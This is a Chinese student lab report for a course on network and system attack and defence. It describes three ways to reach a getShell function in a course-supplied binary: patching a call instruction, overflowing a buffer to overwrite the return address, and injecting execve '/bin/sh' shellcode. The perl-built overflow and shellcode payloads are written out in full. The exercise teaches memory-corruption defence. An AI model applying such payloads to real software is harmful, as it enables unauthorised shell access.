当前位置: 首页 > news >正文

20232320 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

通过三种不同的技术手段,设法使程序执行 getShell 函数代码片段,方法如下:

方法一:手工修改可执行文件,直接改变程序的执行流程,使其跳转至getShell函数。

方法二:利用foo函数中的缓冲区溢出漏洞,构造特殊的输入字符串,覆盖函数的返回地址,从而触发getShell函数。

方法三:向程序中注入一个自己制作的Shellcode,并设法运行这段代码。

2.实验过程

 (1)实验环境搭建

准备Linux系统,在vmware上安装kali系统虚拟机

631c9a8d4e3d47ce1ba9578f6cb03f9

 我在kali官网上下载了kali的vmware虚拟机,直接应用于已经装好的vmware。

 (2)进行实验

A.方法一:直接修改可执行文件跳转至getshell

将给出的pwn文件复制到虚拟机桌面,修改名字为pwn20232320,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串,如下图

916f8ae79dc621d9ba78d6ac2619ca8d_

对文件进行反汇编操作,找到函数调用的相关指令

objdump -d pwn1 | more

得到其中的核心部分如图

2482c71875f56b9547cf32ed97430d75_

其中main中的第四行“call 8048491”表示这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意,按照正常流程此时EIP的值应该是下条指令的地址,即80484ba,但由于e8这条跳转指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29,正好是8048491这个值,所以将会执行8048491位置的foo函数。

由此跳转,那我们想让它调用getShell,只要修改“d7ffffff”为getShell-80484ba对应的补码就行,由上图可知getshell地址804847d,计算47d-4ba为c3ffffff。

所以我们的实验思路是修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

vi进入pwn20232320,在乱码界面按Esc键,然后输入:%!xxd将显示模式切换为16进制模式

22868a47db167ca602224e22df76e6ce_

查找要修改的内容/e8d7(先按i进入编辑模式再改,改完按Esc键退出)

df330ebcf1c28992102410f3c7571f5d_

修改d7为c3

635be05e538c1f9151d4beee16a1949b_

输入:%!xxd -r转换16进制为原格式

输入:wq存盘退出vi

反汇编查看一下call指令是否正确运用于shell

d728a4a693227d7b7f806890b280db77_

由main中第四行e8c3ffffff,可以看到该条指令现在调用的是getShell函数

此时再次运行文件,可以进入shell

756740e9dce4aae5d7eeadd1161e958b_

 B.方法二:利用foo函数中的缓冲区溢出漏洞,覆盖函数的返回地址触发getShell函数

反汇编,了解程序基本功能

e0a9c68c3f3d70d420e89ab47ccabd8

foo函数有Buffer overflow漏洞:foo读入字符串,但系统只预留了0x1c(28字节)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。

确认输入字符串哪几个字符会覆盖到返回地址

安装gdb,若找不到该命令,则需先进行安装操作

sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
sudo su
apt-get update
apt-get install gdb

最后再通过gdb -v,显示出版本号即为安装成功

2798ce06f1ff30a8aacddc6dec0e877b_

分析覆盖返回地址的字符

启动gdb,输入1111111122222222333333334444444412345678

使用info r查看EIP寄存器中的数据,发现eip的值是0x34333231,即4321的ascii码

663ec45bb23362587c5cbcd3233311ee_

由此可以确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序

不能通过键盘直接输入,所以先利用perl软件生成包括这样字符串的一个文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20232320

(关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中)

可以用“xxd input20232320”命令查看文件内容,发现内容正确

3109f255ebcbd6b72fd9c584c6cf6228_

将input的输入,通过管道符“|”,作为pwn20232320a的输入

e64582d0418dd3e76a8888e08dc8e40

 成功触发getshell

C.方法三:注入一个自己制作的shellcode并运行这段shellcode

准备工作,查看堆栈是否可执行,关闭地址随机化

382f882daf8bfaaaf8713ab9432ba3f

6e961a2d386953d0ddb38e7588e3d4a

构造要注入的payload

首先构造一个shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232320

1760188103349

接下来我们来确定\x4\x3\x2\x1到底该填什么

打开一个终端注入这段攻击buf

1760188194447

 再开另外一个终端,用gdb来调试pwn20232320b这个进程

1760188315625

找到进程号为147869

启动gdb调试这个进程

1760188513999

通过设置断点来找到注入buf的内存地址

15fe68ea7b6cd6e09ab01835f601d5f

可以看到断在080484ae,在另一个终端中按下回车,继续运行当前终端

39ca202d5c7ed455bec405e67c1d726

01020304是返回地址的位置,shellcode挨着,就在cf80,再次注入

perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xcf\xff\xff\x00"'  > input_shellcode20232320

e790ea3609343fb11be9eed55f9b7b9

成功!

3.问题及解决方案

- 问题1:方法一中使用objdump查看文件但是文件格式无法识别

037a80fe15f6cceb582c1b496e51a573_

- 问题1解决方案:查阅资料说是修改后没有从十六进制改回来,只能重来了...所以要注意把d7修改成c3后需要退出十六进制形式,否则使用命令objdump无法查看,且这时再次使用vi进行退出十六进制再查看也不行,因为文件已经损坏

8829daf027c63dc6d0b11a92d7dbb2ba_

 (这是查看了文件格式说明确实没有从十六进制改回来)

- 问题2:使用execstack找不到命令,下载也找不到安装包

079eed94038639ceddd00b313276547

问题2解决方案:使用相同功能的工具patchelf,因为新版kali已经不再支持execstack(这个是从冯天悦同学的实验报告中学到的)

f76619de574516c46750a1dccb8baa4

4.学习感悟与思考

有关本次实验操作过程中遇到的阻碍,首先是kali虚拟机的安装配置,在下载途中下载进度已经100%了但是仍然等了很久真正才下载完成,在vmware上配置的时候也没有发现自己下载的就是虚拟机可以直接运行。

在正式的实验过程中,方法一二进行一个shell的跳转我做的还是比较顺利,唯一一个拦路虎是我在可视模式和编辑模式的切换上还不是很熟,对于这种指令还不够熟练。

在方法三的实验过程中,我不是很理解01020304的位置地址和shell的地址关系,这里我询问了同学,最终明白了最开始编写的shellcode对于确定这个shell的位置的作用。

这次实验在简单的环境下通过自己的操作进行了这样一个网络攻防的过程,我获得了一点点成就感,但是也明白我要学习真正的网络攻防是任重而道远,这门课也需要理论与实践相结合才能走得更远。

参考资料

ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com

http://www.hskmm.com/?act=detail&tid=28990

相关文章:

  • [HarekazeCTF2019]baby_rop2
  • 开个视频网站很烧钱吧
  • 13. Canvas画布
  • 预训练相关的一些概念
  • 2025/10/11 模拟赛总结 - sb
  • 分布式训练的一些知识
  • Visual Studio 2013 Update 4 中文版安装步骤(带TFS拥护)附安装包​
  • 排列
  • 白纷纷副
  • 低秩适配器(LoRA)
  • ROC曲线
  • 10.12~10.18随笔
  • 面向对象的题目
  • P11229 [CSP-J 2024] 小木棍题解
  • [HZOI] CSP-S模拟29
  • 初识pytorch:数据标准化及数据增强的transforms
  • 谈程序员如何做好业务
  • 10.11 CSP-S模拟29 改题记录
  • 二三阶行列式
  • 2025 年 10 月 8 日 语文作业
  • CHAR与VARCHAR深度解析:MySQL字符类型选择指南与性能对比
  • vivo霸榜背后:以技术打赢用户保卫战
  • 国庆期间做题记录
  • 02020508 EF Core高级08-表达式树、Expression和委托的关系、查看表达式树结构、AST、手动创建表示树、工厂方法
  • UnitTask中的Forget()与 CTS
  • commons-net - 详解
  • 12 种 Pandas 测试技巧,让数据处理少踩坑
  • 02020505 EF Core高级05-实体的5种状态、EntityEntry、AsNoTracking、实体状态跟踪
  • securityCTF 2025 pwn方向题解
  • 02020507 EF Core高级07-悲观并发控制、乐观并发控制、EF Core连接MySQL、RowVersion